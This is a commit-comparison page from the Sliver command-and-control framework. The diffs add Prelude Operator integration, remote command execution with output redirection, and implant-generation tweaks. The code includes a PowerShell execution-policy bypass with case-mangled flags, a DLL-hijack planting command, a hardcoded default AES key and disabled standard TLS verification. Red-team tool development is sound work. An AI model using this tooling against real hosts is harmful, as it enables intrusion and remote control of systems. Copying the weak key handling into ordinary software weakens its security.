Compare commits

...
Author SHA1 Message Date
rkervella d1135d1d68 Add Prelude's Operator support 2021-09-04 12:31:34 +02:00
moloch-- a998a571f9 Various fixes to http c2 transport 2021-09-03 20:49:50 -05:00
moloch-- ce3cee731c Improved c2 unit tests 2021-09-03 17:55:20 -05:00
moloch-- 9e924efcb2 Fix unit tests for matcher funcs 2021-09-03 17:43:40 -05:00
moloch-- 23309233a8 Merged stage 2021-09-03 17:18:53 -05:00
moloch-- e107382d07 Improvements to http server 2021-09-03 10:02:01 -05:00
moloch-- 9ea9d1add8 Fixes to the http router and path generation 2021-09-02 09:20:50 -05:00
moloch-- bc5a622944 Improved unit tests 2021-09-02 08:14:09 -05:00
moloch-- c24a37edcd Renamed implant generation code 2021-09-01 20:56:23 -05:00
moloch-- 536171e8ac Fix paths for sliver .c and .h 2021-09-01 16:39:21 -05:00
moloch-- 4d17f0ed66 Moved pty to build constraints in shell pkg 2021-09-01 16:23:37 -05:00
moloch-- 1e5bf9a39c Fix version build constraints 2021-09-01 16:06:07 -05:00
moloch-- 18cb8d142d Fix version pkg 2021-09-01 15:56:54 -05:00
moloch-- b3467e0512 Fix shell pkg 2021-09-01 15:38:17 -05:00
moloch-- 8a1845baf8 Major refactor to implant render code 2021-09-01 14:50:52 -05:00
moloch-- 00a2faf137 Code cleanup, added max req length 2021-09-01 09:14:32 -05:00
moloch-- 6fb3835e14 Merged stage, fix unit tests 2021-08-31 08:38:02 -05:00
moloch-- f3144eb919 wip on server-side updates 2021-08-31 07:17:32 -05:00
moloch-- 83c5fad8eb Go mod vendor 2021-08-28 18:27:37 -05:00
moloch-- bfe2013eb5 Merged otp 2021-08-28 18:19:31 -05:00
moloch-- 0923de192c Updated with other branches 2021-08-28 18:17:32 -05:00
moloch-- c41e9dead0 Session connects 2021-08-28 17:58:32 -05:00
moloch-- e989ba581b Basic outline of http/otp working 2021-08-28 14:02:26 -05:00
moloch-- 7f9657f32d WIP on otp 2021-08-27 15:26:33 -05:00
moloch-- 8cc3f1984a Updated garble 2021-08-26 17:31:01 -05:00
rkervella d337d4f13c Merge branch 'master' into stage 2021-08-23 09:42:24 +02:00
rkervella 75dd1b1a26 Add missing imports 2021-08-20 16:33:19 +02:00
rkervella 359746120a Add execute redirection to remote file 2021-08-20 16:13:59 +02:00
rkervella b08728765d Add missing import 2021-08-20 12:59:45 +02:00
rkervella cbfae11876 Reflect changes to windows executeTokenHandler 2021-08-20 12:34:25 +02:00
rkervella b7a814f0c5 Rework execute stdout/stderr handling 2021-08-20 11:58:22 +02:00
rkervella 572e717634 Move DLL hijack to client protobuf side 2021-08-20 11:23:06 +02:00
153 changed files with 8971 additions and 3312 deletions

No files matched your search

+39
View File
@@ -52,6 +52,7 @@ import (
"github.com/bishopfox/sliver/client/command/macros"
"github.com/bishopfox/sliver/client/command/monitor"
"github.com/bishopfox/sliver/client/command/network"
"github.com/bishopfox/sliver/client/command/operator"
"github.com/bishopfox/sliver/client/command/operators"
"github.com/bishopfox/sliver/client/command/pivots"
"github.com/bishopfox/sliver/client/command/portfwd"
@@ -550,6 +551,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("T", "token", false, "execute command with current token (windows only)")
f.Bool("s", "silent", false, "don't print the command output")
f.Bool("X", "loot", false, "save output as loot")
f.Bool("S", "ignore-stderr", false, "don't print STDERR output")
f.String("o", "stdout", "", "remote path to redirect STDOUT to")
f.String("e", "stderr", "", "remote path to redirect STDERR to")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -2341,4 +2345,39 @@ func BindCommands(con *console.SliverConsoleClient) {
},
})
con.App.AddCommand(extensionCmd)
// [ Prelude's Operator ] ------------------------------------------------------------
operatorCmd := &grumble.Command{
Name: consts.OperatorStr,
Help: "Manage connection to Prelude's Operator",
LongHelp: help.GetHelpFor([]string{consts.OperatorStr}),
HelpGroup: consts.GenericHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
operator.OperatorCmd(ctx, con)
con.Println()
return nil
},
}
operatorCmd.AddCommand(&grumble.Command{
Name: consts.ConnectStr,
Help: "Connect with Prelude's Operator",
LongHelp: help.GetHelpFor([]string{consts.OperatorStr, consts.ConnectStr}),
HelpGroup: consts.GenericHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
operator.ConnectCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.String("connection-string", "connection string to the Operator Host")
},
Flags: func(f *grumble.Flags) {
f.Bool("s", "skip-existing", false, "Do not add existing sessions as Operator Agents")
f.String("a", "aes-key", "", "AES key for communication encryption")
f.String("r", "range", "sliver", "Agents range")
},
})
con.App.AddCommand(operatorCmd)
}
+2 -2
View File
@@ -24,7 +24,7 @@ import (
"io/ioutil"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
@@ -78,7 +78,7 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl := make(chan bool)
msg := fmt.Sprintf("Crafting and planting DLL at %s ...", targetPath)
con.SpinUntil(msg, ctrl)
_, err = con.Rpc.HijackDLL(context.Background(), &sliverpb.DllHijackReq{
_, err = con.Rpc.HijackDLL(context.Background(), &clientpb.DllHijackReq{
ReferenceDLLPath: referencePath,
TargetLocation: targetPath,
ReferenceDLL: localRefData,
+26 -6
View File
@@ -36,15 +36,22 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
cmdPath := ctx.Args.String("command")
args := ctx.Args.StringList("arguments")
output := ctx.Flags.Bool("silent")
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
token := ctx.Flags.Bool("token")
var exec *sliverpb.Execute
var err error
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
if token {
exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
Request: con.ActiveSession.Request(ctx),
Path: cmdPath,
Args: args,
Output: !output,
Stderr: stderr,
Stdout: stdout,
})
} else {
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
@@ -52,22 +59,35 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Path: cmdPath,
Args: args,
Output: !output,
Stderr: stderr,
Stdout: stdout,
})
}
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s", err)
} else if !output {
combined := ""
if stdout == "" {
combined = exec.Stdout
con.PrintInfof("Output:\n%s", exec.Stdout)
} else {
con.PrintInfof("StdOut saved at %s\n", stdout)
}
if !ignoreStderr && stderr == "" {
combined = fmt.Sprintf("%s\nStdErr:\n%s", combined, exec.Stderr)
con.PrintInfof("StdErr:\n%s", exec.Stderr)
} else {
con.PrintInfof("Stderr saved at %s\n", stderr)
}
if exec.Status != 0 {
con.PrintErrorf("Exited with status %d!\n", exec.Status)
if exec.Result != "" {
con.PrintInfof("Output:\n%s\n", exec.Result)
}
} else {
con.PrintInfof("Output:\n%s\n", exec.Result)
if ctx.Flags.Bool("loot") && 0 < len(exec.Result) {
if ctx.Flags.Bool("loot") && 0 < len(combined) {
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(exec.Result), false)
err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
+3 -28
View File
@@ -82,31 +82,6 @@ var (
"windows/386": true,
"windows/amd64": true,
}
// validFormats = []string{
// "bash",
// "c",
// "csharp",
// "dw",
// "dword",
// "hex",
// "java",
// "js_be",
// "js_le",
// "num",
// "perl",
// "pl",
// "powershell",
// "ps1",
// "py",
// "python",
// "raw",
// "rb",
// "ruby",
// "sh",
// "vbapplication",
// "vbscript",
// }
)
// GenerateCmd - The main command used to generate implant binaries
@@ -349,11 +324,11 @@ func getTargets(targetOS string, targetArch string, con *console.SliverConsoleCl
target := fmt.Sprintf("%s/%s", targetOS, targetArch)
if _, ok := SupportedCompilerTargets[target]; !ok {
con.Printf("⚠️ Unsupported compiler target %s%s%s, but we can try to compile a Default implant.\n",
con.Printf("⚠️ Unsupported compiler target %s%s%s, but we can try to compile a generic implant.\n",
console.Bold, target, console.Normal,
)
con.Printf("⚠️ Default implants do not support all commands/features.\n")
prompt := &survey.Confirm{Message: "Compile a Default build?"}
con.Printf("⚠️ Generic implants do not support all commands/features.\n")
prompt := &survey.Confirm{Message: "Attempt to build generic implant?"}
var confirm bool
survey.AskOne(prompt, &confirm)
if !confirm {
+46
View File
@@ -0,0 +1,46 @@
package operator
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/prelude"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
url := ctx.Args.String("connection-string")
aesKey := ctx.Flags.String("aes-key")
agentRange := ctx.Flags.String("range")
skipExisting := ctx.Flags.Bool("skip-existing")
config := &prelude.OperatorConfig{
Range: agentRange,
OperatorURL: url,
RPC: con.Rpc,
AESKey: aesKey,
}
sessMapper := prelude.InitSessionMapper(config)
con.PrintInfof("Connected to Operator at %s\n", url)
if !skipExisting {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Could not get session list: %s", err)
return
}
if len(sessions.Sessions) > 0 {
con.PrintInfof("Adding existing sessions ...\n")
for _, sess := range sessions.Sessions {
err = sessMapper.AddSession(sess)
if err != nil {
con.PrintErrorf("Could not add session %s to session mapper: %s", sess.Name, err)
}
}
con.PrintInfof("Done !\n")
}
}
}
+15
View File
@@ -0,0 +1,15 @@
package operator
import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/prelude"
"github.com/desertbit/grumble"
)
func OperatorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if prelude.SessionMapper != nil {
con.PrintInfof("Connected to Operator at %s\n", prelude.SessionMapper.GetConfig().OperatorURL)
return
}
con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")
}
+15
View File
@@ -32,6 +32,7 @@ import (
"github.com/bishopfox/sliver/client/assets"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/prelude"
"github.com/bishopfox/sliver/client/spin"
"github.com/bishopfox/sliver/client/version"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -187,6 +188,13 @@ func (con *SliverConsoleClient) EventLoop() {
con.PrintInfof("Session #%d %s - %s (%s) - %s/%s - %v\n\n",
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
}
// Prelude Operator
if prelude.SessionMapper != nil {
err = prelude.SessionMapper.AddSession(session)
if err != nil {
con.PrintErrorf("Could not add session to Operator: %s", err)
}
}
case consts.SessionUpdateEvent:
session := event.Session
@@ -203,6 +211,13 @@ func (con *SliverConsoleClient) EventLoop() {
con.App.SetPrompt(con.GetPrompt())
con.Printf(Warn + "Active session disconnected\n")
}
if prelude.SessionMapper != nil {
err = prelude.SessionMapper.RemoveSession(session)
if err != nil {
con.PrintErrorf("Could not remove session from Operator: %s", err)
}
con.PrintInfof("Removed session %s from Operator\n", session.Name)
}
con.Println()
}
+2
View File
@@ -213,6 +213,8 @@ const (
LicensesStr = "licenses"
GetPrivsStr = "getprivs"
OperatorStr = "operator"
ConnectStr = "connect"
)
// Groups
+4
View File
@@ -0,0 +1,4 @@
Prelude
=======
The `prelude` package handles the connection with [Prelude's Operator platform](https://www.prelude.org/).
+132
View File
@@ -0,0 +1,132 @@
package prelude
import (
"bufio"
"bytes"
"context"
"encoding/json"
"io"
"net"
"strings"
"time"
"github.com/bishopfox/sliver/client/prelude/util"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
const (
defaultTimeout = 60
delim = "\r\n"
)
type AgentSession struct {
Conn *net.Conn
Session *clientpb.Session
RPC rpcpb.SliverRPCClient
Beacon Beacon
Config AgentConfig
}
func NewAgentSession(c *net.Conn, s *clientpb.Session, rpc rpcpb.SliverRPCClient, b Beacon, conf AgentConfig) *AgentSession {
return &AgentSession{
Conn: c,
Session: s,
RPC: rpc,
Config: conf,
Beacon: b,
}
}
func (a *AgentSession) ReceiveLoop() {
for {
err := a.send()
if err != nil {
return
}
scanner := bufio.NewScanner(*a.Conn)
for scanner.Scan() {
message := strings.TrimSpace(scanner.Text())
err = a.respond(message)
if err != nil {
return
}
}
}
}
func (a *AgentSession) send() error {
data, err := json.Marshal(a.Beacon)
if err != nil {
return err
}
dataBuff := bytes.NewReader(append(util.Encrypt(data), "\n"...))
sendBuffer := make([]byte, 1024)
for {
_, err := dataBuff.Read(sendBuffer)
if err == io.EOF {
return nil
}
if err != nil {
return err
}
if _, err = (*a.Conn).Write(sendBuffer); err != nil {
return err
}
time.Sleep(time.Duration(a.Beacon.Sleep))
}
}
func (a *AgentSession) respond(message string) error {
var tempBeacon Beacon
if err := json.Unmarshal([]byte(util.Decrypt(message)), &tempBeacon); err == nil {
a.Beacon.Links = a.Beacon.Links[:0]
a.runLinks(&tempBeacon)
}
a.refreshBeacon(&a.Config)
a.send()
return nil
}
func (a *AgentSession) runLinks(tempBeacon *Beacon) {
for _, link := range a.Config.StartInstructions(tempBeacon.Links) {
time.Sleep(time.Second * 1)
//TODO handle link.payloadPath
payloadPath := ""
response, status, pid := RunCommand(link.Request, link.Executor, payloadPath, &a.Config, a.RPC, a.Session)
link.Response = response
link.Status = status
link.Pid = pid
a.Beacon.Links = append(a.Beacon.Links, link)
a.Config.EndInstruction(link)
}
}
func (a *AgentSession) refreshBeacon(conf *AgentConfig) {
var pwd string
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(a.Session),
})
if pwdResp != nil {
pwd = pwdResp.Path
}
a.Beacon.Sleep = conf.Sleep
a.Beacon.Range = conf.Range
a.Beacon.Pwd = pwd
a.Beacon.Target = conf.Address
a.Beacon.Executing = conf.BuildExecutingHash()
}
func MakeRequest(session *clientpb.Session) *commonpb.Request {
if session == nil {
return nil
}
timeout := int64(defaultTimeout)
return &commonpb.Request{
SessionID: session.ID,
Timeout: timeout,
}
}
+92
View File
@@ -0,0 +1,92 @@
package prelude
import (
"context"
"fmt"
"log"
"strings"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
//RunCommand executes a given command
func RunCommand(message string, executor string, payloadPath string, agent *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
switch executor {
case "keyword":
task := splitMessage(message, '.')
switch task[0] {
case "config":
// return updateConfiguration(task[1], agent)
// case "shell":
// return pty.SpawnShell(task[1], agent)
case "exit":
return shutdown(agent, rpc, session)
default:
// return "Keyword selected not available for agent", util.ErrorExitStatus, util.ErrorExitStatus
}
default:
bites, status, pid := execute(message, executor, agent, rpc, session)
return string(bites), status, pid
}
return "", 0, 0
}
func execute(cmd string, executor string, agentConfig *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
args := append(getCmdArg(executor), cmd)
if executor == "psh" {
executor = "powershell.exe"
}
log.Printf("[!] Executing %s %s\n", executor, strings.Join(args, " "))
execResp, err := rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Path: executor,
Args: args,
Output: true,
Request: MakeRequest(session),
})
if err != nil {
return fmt.Sprintf("Error: %s\n", err.Error()), 0, 0
}
if execResp.Response != nil && execResp.Response.Err != "" {
return execResp.Response.Err, 0, 0
}
return execResp.Stdout, int(execResp.Status), int(execResp.Pid)
}
func getCmdArg(executor string) []string {
var args []string
switch executor {
case "cmd":
args = []string{"/C", "/S"}
case "powershell", "psh":
args = []string{"-execu", "ByPasS", "-C"}
case "sh", "bash", "zsh":
args = []string{"-c"}
}
return args
}
func splitMessage(message string, splitRune rune) []string {
quoted := false
values := strings.FieldsFunc(message, func(r rune) bool {
if r == '"' {
quoted = !quoted
}
return !quoted && r == splitRune
})
return values
}
func shutdown(cfg *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
_, err := rpc.KillSession(context.Background(), &sliverpb.KillSessionReq{
Force: false,
Request: MakeRequest(session),
})
if err != nil {
return err.Error(), 1, 0
}
return fmt.Sprintf("Terminated %s", session.Name), 0, 0
}
+91
View File
@@ -0,0 +1,91 @@
package prelude
import (
"crypto/md5"
"encoding/hex"
"io"
"sort"
)
type Configuration interface {
ApplyConfig(ac map[string]interface{})
BuildBeacon() Beacon
}
type AgentConfig struct {
Name string
AESKey string
Range string
Contact string
Address string
Useragent string
Sleep int
KillSleep int
CommandJitter int
CommandTimeout int
Pid int
Proxy string
Debug bool
Executing map[string]Instruction
}
type Beacon struct {
Name string
Target string
Hostname string
Location string
Platform string
Executors []string
Range string
Sleep int
Pwd string
Executing string
Links []Instruction
}
type Instruction struct {
ID string `json:"ID"`
Executor string `json:"Executor"`
Payload string `json:"Payload"`
Request string `json:"Request"`
Response string
Status int
Pid int
}
func (c *AgentConfig) BuildExecutingHash() string {
if count := len(c.Executing); count > 0 {
ids := make([]string, count)
for id := range c.Executing {
ids = append(ids, id)
}
sort.Strings(ids)
h := md5.New()
for _, s := range ids {
io.WriteString(h, s)
}
return hex.EncodeToString(h.Sum(nil))
}
return ""
}
func (c *AgentConfig) StartInstruction(instruction Instruction) bool {
if _, ex := c.Executing[instruction.ID]; ex {
return false
}
c.Executing[instruction.ID] = instruction
return true
}
func (c *AgentConfig) StartInstructions(instructions []Instruction) (ret []Instruction) {
for _, i := range instructions {
if c.StartInstruction(i) {
ret = append(ret, i)
}
}
return
}
func (c *AgentConfig) EndInstruction(instruction Instruction) {
delete(c.Executing, instruction.ID)
}
+119
View File
@@ -0,0 +1,119 @@
package prelude
import (
"context"
"errors"
"fmt"
"net"
"sync"
"github.com/bishopfox/sliver/client/prelude/util"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
const (
aesDefaultKey = "abcdefghijklmnopqrstuvwxyz012345"
)
var SessionMapper *PreludeSessionMapper
type OperatorConfig struct {
Range string
OperatorURL string
RPC rpcpb.SliverRPCClient
AESKey string
}
type PreludeSessionMapper struct {
sessions []*AgentSession
conf *OperatorConfig
sync.Mutex
}
func InitSessionMapper(conf *OperatorConfig) *PreludeSessionMapper {
if SessionMapper == nil {
SessionMapper = &PreludeSessionMapper{
sessions: make([]*AgentSession, 0),
conf: conf,
}
}
return SessionMapper
}
func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
var pwd string
conn, err := net.Dial("tcp", p.conf.OperatorURL)
if err != nil {
return err
}
pwdResp, err := p.conf.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(s),
})
if err != nil {
return err
}
if pwdResp != nil {
pwd = pwdResp.Path
}
// Operator implants have embeded static IDs, but we don't,
// so to avoid having multiple sessions showing as one on the Operator
// GUI, we need to have a unique name for them.
// Plus, having the ID in the name will help the user to make the
// correlation.
sessName := fmt.Sprintf("%s-%d", s.Name, s.ID)
beacon := Beacon{
Name: sessName,
Target: p.conf.OperatorURL,
Hostname: s.Hostname,
Location: s.Filename,
Platform: s.OS,
Range: p.conf.Range,
Executors: util.DetermineExecutors(s.OS, s.Arch),
Links: make([]Instruction, 0),
Executing: "",
Pwd: pwd,
Sleep: 3,
}
encryptionKey := aesDefaultKey
if p.conf.AESKey != "" {
encryptionKey = p.conf.AESKey
}
agentConfig := AgentConfig{
Name: sessName,
AESKey: encryptionKey,
Range: p.conf.Range,
Contact: "tcp",
Address: p.conf.OperatorURL,
Pid: int(s.PID),
Executing: make(map[string]Instruction),
}
util.EncryptionKey = &agentConfig.AESKey
agentSession := NewAgentSession(&conn, s, p.conf.RPC, beacon, agentConfig)
p.Lock()
p.sessions = append(p.sessions, agentSession)
p.Unlock()
go agentSession.ReceiveLoop()
return nil
}
func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
p.Lock()
for _, agentSession := range p.sessions {
if agentSession.Session.ID == s.ID {
if agentSession.Conn != nil {
err = (*agentSession.Conn).Close()
} else {
err = errors.New("connection is nil")
}
}
}
p.Unlock()
return err
}
func (p *PreludeSessionMapper) GetConfig() *OperatorConfig {
return p.conf
}
+66
View File
@@ -0,0 +1,66 @@
package util
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/hex"
"errors"
"fmt"
"io"
)
var EncryptionKey *string
//Encrypt the results
func Encrypt(bites []byte) []byte {
plainText, err := pad(bites, aes.BlockSize)
if err != nil {
return make([]byte, 0)
}
block, _ := aes.NewCipher([]byte(*EncryptionKey))
cipherText := make([]byte, aes.BlockSize+len(plainText))
iv := cipherText[:aes.BlockSize]
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
return make([]byte, 0)
}
mode := cipher.NewCBCEncrypter(block, iv)
mode.CryptBlocks(cipherText[aes.BlockSize:], plainText)
return []byte(fmt.Sprintf("%x", cipherText))
}
//Decrypt a command
func Decrypt(text string) string {
cipherText, _ := hex.DecodeString(text)
block, err := aes.NewCipher([]byte(*EncryptionKey))
if err != nil {
return ""
}
iv := cipherText[:aes.BlockSize]
cipherText = cipherText[aes.BlockSize:]
mode := cipher.NewCBCDecrypter(block, iv)
mode.CryptBlocks(cipherText, cipherText)
cipherText, _ = unpad(cipherText, aes.BlockSize)
return string(cipherText)
}
func pad(buf []byte, size int) ([]byte, error) {
bufLen := len(buf)
padLen := size - bufLen%size
padded := make([]byte, bufLen+padLen)
copy(padded, buf)
for i := 0; i < padLen; i++ {
padded[bufLen+i] = byte(padLen)
}
return padded, nil
}
func unpad(padded []byte, size int) ([]byte, error) {
if len(padded)%size != 0 {
return nil, errors.New("pkcs7: Padded value wasn't in correct size")
}
bufLen := len(padded) - int(padded[len(padded)-1])
buf := make([]byte, bufLen)
copy(buf, padded[:bufLen])
return buf, nil
}
+30
View File
@@ -0,0 +1,30 @@
package util
func DetermineExecutors(platform string, arch string) []string {
platformExecutors := map[string]map[string][]string{
"windows": {
"file": {"pwsh.exe", "powershell.exe", "cmd.exe"},
"executor": {"pwsh", "psh", "cmd"},
},
"linux": {
"file": {"python3", "pwsh", "sh", "bash"},
"executor": {"python", "pwsh", "sh", "bash"},
},
"darwin": {
"file": {"python3", "pwsh", "zsh", "sh", "osascript", "bash"},
"executor": {"python", "pwsh", "zsh", "sh", "osa", "bash"},
},
}
var executors []string
for platformKey, platformValue := range platformExecutors {
if platform == platformKey {
for i := range platformValue["file"] {
// if checkIfExecutorAvailable(platformValue["file"][i]) {
executors = append(executors, platformExecutors[platformKey]["executor"][i])
// }
}
}
}
executors = append([]string{"keyword"}, executors...)
return executors
}
+8 -7
View File
@@ -19,6 +19,7 @@ package transport
*/
import (
"context"
"crypto/tls"
"crypto/x509"
"fmt"
@@ -51,12 +52,13 @@ func MTLSConnect(config *assets.ClientConfig) (rpcpb.SliverRPCClient, *grpc.Clie
}
creds := credentials.NewTLS(tlsConfig)
options := []grpc.DialOption{
grpc.WithTimeout(defaultTimeout),
grpc.WithTransportCredentials(creds),
grpc.WithBlock(),
grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(ClientMaxReceiveMessageSize)),
}
connection, err := grpc.Dial(fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
defer cancel()
connection, err := grpc.DialContext(ctx, fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
if err != nil {
return nil, nil, err
}
@@ -81,17 +83,16 @@ func getTLSConfig(caCertificate string, certificate string, privateKey string) (
RootCAs: caCertPool,
InsecureSkipVerify: true, // Don't worry I sorta know what I'm doing
VerifyPeerCertificate: func(rawCerts [][]byte, _ [][]*x509.Certificate) error {
return rootOnlyVerifyCertificate(caCertificate, rawCerts)
return RootOnlyVerifyCertificate(caCertificate, rawCerts)
},
}
tlsConfig.BuildNameToCertificate()
return tlsConfig, nil
}
// rootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so
// we have to disable all of the fucking certificate validation and re-implement everything.
// RootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so
// we have to disable all of the certificate validation and re-implement everything.
// https://github.com/golang/go/issues/21971
func rootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
roots := x509.NewCertPool()
ok := roots.AppendCertsFromPEM([]byte(caCertificate))
+1 -1
View File
@@ -20,7 +20,7 @@
# Creates the static go asset archives
GO_VER="1.17"
GARBLE_VER="1.17.0"
GARBLE_VER="1.17.1"
COFF_LOADER_VER="1.0.5"
GO_ARCH_1="amd64"
+16 -1
View File
@@ -32,7 +32,6 @@ else
exit 1
fi
## Server
# server / website
@@ -83,6 +82,22 @@ else
exit 1
fi
# server / configs
if go test -tags=server ./server/configs ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / console
if go test -tags=server ./server/console ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / generate
if go test -tags=server ./server/generate -timeout 6h ; then
:
+4 -2
View File
@@ -35,6 +35,7 @@ require (
github.com/mattn/go-sqlite3 v1.14.5
github.com/miekg/dns v1.1.35
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
github.com/pquerna/otp v1.3.0
github.com/sergi/go-diff v1.1.0 // indirect
github.com/sirupsen/logrus v1.7.0
github.com/spf13/cobra v1.1.1
@@ -53,7 +54,7 @@ require (
gorm.io/driver/mysql v1.0.3
gorm.io/driver/postgres v1.0.5
gorm.io/driver/sqlite v1.1.3
gorm.io/gorm v1.20.6
gorm.io/gorm v1.21.14
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
)
@@ -63,6 +64,7 @@ require (
github.com/VividCortex/ewma v1.1.1 // indirect
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
@@ -83,7 +85,7 @@ require (
github.com/jackc/pgtype v1.5.0 // indirect
github.com/jackc/pgx/v4 v4.9.0 // indirect
github.com/jinzhu/inflection v1.0.0 // indirect
github.com/jinzhu/now v1.1.1 // indirect
github.com/jinzhu/now v1.1.2 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
github.com/mattn/go-colorable v0.1.8 // indirect
github.com/mattn/go-runewidth v0.0.9 // indirect
+8
View File
@@ -64,6 +64,8 @@ github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24
github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc h1:biVzkmvwrH8WK8raXaxBx6fRVTlJILwEwQGL1I/ByEI=
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8=
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
github.com/cheggaaa/pb/v3 v3.0.5 h1:lmZOti7CraK9RSjzExsY53+WWfub9Qv13B5m4ptEoPE=
@@ -276,6 +278,8 @@ github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
github.com/jinzhu/now v1.1.1 h1:g39TucaRWyV3dwDO++eEc6qf8TVIQ/Da48WmqjZ3i7E=
github.com/jinzhu/now v1.1.1/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
github.com/jinzhu/now v1.1.2 h1:eVKgfIdy9b6zbWBMgFpfDPoAMifwSZagU9HmEU6zgiI=
github.com/jinzhu/now v1.1.2/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo=
